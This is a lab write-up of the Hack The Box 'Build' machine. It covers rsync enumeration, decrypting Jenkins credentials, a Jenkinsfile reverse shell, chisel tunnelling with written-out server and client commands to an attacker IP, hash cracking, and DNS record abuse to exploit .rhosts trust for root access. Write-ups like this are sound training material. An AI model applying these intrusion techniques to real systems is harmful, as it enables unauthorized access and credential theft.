Build - Hack The Box
Enumeration
Nmap
Initial nmap scan revealed Rsync, Rlogin, Port 3000 (HTTP), SSH, DNS ports were open and MySQL port was filtered.
Web Enumeration
Website was gitea. The version was not vulnerable.
There was a user named buildadm and a dev repo which included a Jenkins file.
Rsync Enumeration
I did not know what to do with rsync. But checking the Rsync Pentesting documentation from Hackviser, I understood that it could be used to transfer files.
It can either be authenticated or unauthenticated. I checked if authentication was diabled. It was indeed disabled. I transfered jenkins backup files to my computer.
Jenkins Decryption
I searched through the internet to understand what to do with jenkins configuration files. I found out that there are encrypted user passwords. Searching through the internet I found jenkins-credential-decryptor tool. Using it revealed the password for buildadm user.
Jenkins File RevShell
I logged in using the buildadm user, then simply updated the Jenkinsfile and got the reverse shell.
Privilege Escalation
Checking the environment, I understood that I was in a docker container as a root user. I could not run many commands. So at first I checked my IP address to find out docker container’s subnet. It was in a different subnet than host machine.
.rhosts file
Then searching through the files, I found out .rhosts file. I did not know what to do with it. So I searched through the internet and found out this website.
Rhosts file is used to control remote logins through rsh or rlogin. In the current machine, Users on the intern.build.vl and admin.build.vl could login as root on the machine.
Static Nmap
Keeping this information in mind, I downloaded static-nmap binary and transfered it with /etc/services file to the target container using curl.
Running it revealed the IPs and ports.
Chisel
After running the nmap, I ran chisel to create a socks proxy using below steps:
-
Update the
/etc/proxychains4.conf#socks4 127.0.0.1 9050 socks5 127.0.0.1 1080 -
Set Reverse Listener on attacker site:
chisel server --reverse --port 443 -
Set client on the victim side:
chisel.exe client 10.10.16.11:443 R:1080:socks -
Now we can access the internal network.
Then connected to mysql database.
Checking the records, I found a password.
Then using the hashcat, cracked the password.
Internal Web Enumeration
Now from the nmap output, we know there are some internal websites. At first I set socks proxy on firefox.
Then visited the website which revealed PowerDNS-Admins Website. Previously, I cracked the password inside the powerdnsadmins database, so I tried that credentials and logged in.
Rhosts
Previously, I found the .rhosts file inside the docker container. I may assume that same .rhosts file is present on the host domain. So if I update intern or add a new admin record which points to my attacker machine IP, I may login to the target host machine as root using rsh without password.
So I added an admin record which points to my host.
Then simply logged in and got the root flag.
Pwned
The machine was compromised.